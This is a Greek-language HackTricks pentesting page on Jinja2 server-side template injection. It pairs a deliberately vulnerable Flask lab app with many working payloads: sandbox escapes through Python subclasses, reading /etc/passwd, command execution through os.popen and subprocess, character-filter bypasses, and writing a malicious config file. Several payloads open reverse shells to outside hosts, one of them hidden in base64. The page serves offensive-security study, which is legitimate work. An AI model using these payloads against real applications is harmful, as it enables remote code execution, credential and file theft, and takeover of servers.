hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md

17 KiB
Raw Blame History

Jinja2 SSTI

Μάθετε την κακόβουλη εισβολή στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Εργαστήριο

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
app.run()

Διάφορα

Δήλωση Αποσφαλμάτωσης

Εάν η Επέκταση Αποσφαλμάτωσης είναι ενεργοποιημένη, ένα ετικέτα debug θα είναι διαθέσιμο για να εκτυπώσει το τρέχον πλαίσιο καθώς και τα διαθέσιμα φίλτρα και τεστ. Αυτό είναι χρήσιμο για να δείτε τι είναι διαθέσιμο για χρήση στο πρότυπο χωρίς την ανάγκη να ρυθμίσετε έναν αποσφαλματωτή.

<pre>

{% raw %}
{% debug %}
{% endraw %}



</pre>

Αδειάστε όλες τις μεταβλητές διαμόρφωσης

Προσοχή: Η εκτέλεση αυτής της ενέργειας μπορεί να αποκαλύψει ευαίσθητες πληροφορίες.

{{ config }} #In these object you can find all the configured env variables


{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}

Jinja Ενσωμάτωση

Καταρχάς, σε μια Jinja ενσωμάτωση χρειάζεται να βρείτε έναν τρόπο να δραπετεύσετε από το χωροχρονικό περιορισμό και να ανακτήσετε πρόσβαση στην κανονική ροή εκτέλεσης της Python. Για να το κάνετε αυτό, πρέπει να καταχραστείτε αντικείμενα που είναι από το μη-χωροχρονικά περιορισμένο περιβάλλον αλλά είναι προσβάσιμα από το χωροχρονικά περιορισμένο περιβάλλον.

Πρόσβαση σε Παγκόσμια Αντικείμενα

Για παράδειγμα, στον κώδικα render_template("hello.html", username=username, email=email) τα αντικείμενα username και email προέρχονται από το μη-χωροχρονικά περιορισμένο περιβάλλον της Python και θα είναι προσβάσιμα μέσα στο χωροχρονικά περιορισμένο περιβάλλον.
Επιπλέον, υπάρχουν και άλλα αντικείμενα που θα είναι πάντα προσβάσιμα από το χωροχρονικά περιορισμένο περιβάλλον, αυτά είναι:

[]
''
()
dict
config
request

Ανάκτηση του <class 'object'>

Στη συνέχεια, από αυτά τα αντικείμενα πρέπει να φτάσουμε στην κλάση: <class 'object'> προκειμένου να προσπαθήσουμε να ανακτήσουμε τις ορισμένες κλάσεις. Αυτό οφείλεται στο γεγονός ότι από αυτό το αντικείμενο μπορούμε να καλέσουμε τη μέθοδο __subclasses__ και να έχουμε πρόσβαση σε όλες τις κλάσεις από το μη-αμμοδιοποιημένο περιβάλλον python.

Για να έχετε πρόσβαση σε αυτήν την κλάση αντικειμένου, πρέπει να έχετε πρόσβαση σε ένα αντικείμενο κλάσης και στη συνέχεια να έχετε πρόσβαση είτε στο __base__, __mro__()[-1] ή .**mro()[-1]. Και στη συνέχεια, μετά την επίτευξη αυτής της κλάσης αντικειμένου καλούμε __subclasses__().

Ελέγξτε αυτά τα παραδείγματα:

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}


# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

Αποδράστε από το RCE

Έχοντας ανακτήσει <class 'object'> και καλέσει το __subclasses__ μπορούμε τώρα να χρησιμοποιήσουμε αυτές τις κλάσεις για να διαβάσουμε και να γράψουμε αρχεία και να εκτελέσουμε κ

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

RCE

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Calling os.popen without guessing the index of the class

{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}


Για να μάθετε για περισσότερα classes που μπορείτε να χρησιμοποιήσετε για να αποδράσετε μπορείτε να ελέγξετε:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Παρακάμψεις φίλτρων

Συνηθισμένες παρακάμψεις

Αυτές οι παρακάμψεις θα μας επιτρέψουν να έχουμε πρόσβαση στα χαρακτηριστικά των αντικειμένων χωρίς να χρησιμοποιούμε ορισμένους χαρακτήρες.
Έχουμε ήδη δει μερικές από αυτές τις παρακάμψεις στα παραδείγματα του προηγούμενου, αλλά ας τις περιλάβουμε εδώ:

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}

Αποφυγή κωδικοποίησης HTML

Από προεπιλογή, το Flask κωδικοποιεί HTML όλα τα μέσα σε ένα πρότυπο για λόγους ασφαλείας:

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

Το φίλτρο safe μας επιτρέπει να ενσωματώσουμε κώδικα JavaScript και HTML στη σελίδα χωρίς να γίνει κωδικοποίηση HTML, όπως εδώ:

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

RCE με τη συγγραφή ενός κακόβουλου αρχείου ρύθμισης.

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Χωρίς αρκετούς χαρακτήρες

Χωρίς {{ . [ ] }} _

{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}

Jinja Ενσωμάτωση χωρίς <class 'object'>

Από τα παγκόσμια αντικείμενα υπάρχει άλλος τρόπος να φτάσετε σε RCE χωρίς να χρησιμοποιήσετε αυτή την κλάση.
Αν καταφέρετε να φτάσετε σε οποιαδήποτε συνάρτηση από αυτά τα παγκόσμια αντικείμενα, θα μπορείτε να έχετε πρόσβαση στο __globals__.__builtins__ και από εκεί το RCE είναι πολύ απλό.

Μπορείτε να βρείτε συναρτήσεις από τα αντικείμενα request, config και οποιοδήποτε άλλο ενδιαφέρον παγκόσμιο αντικείμενο στο οποίο έχετε πρόσβαση με:

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

Αφού βρείτε μερικές λειτουργίες, μπορείτε να ανακτήσετε τα builtins με:

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}

## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

Αναφορές

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks: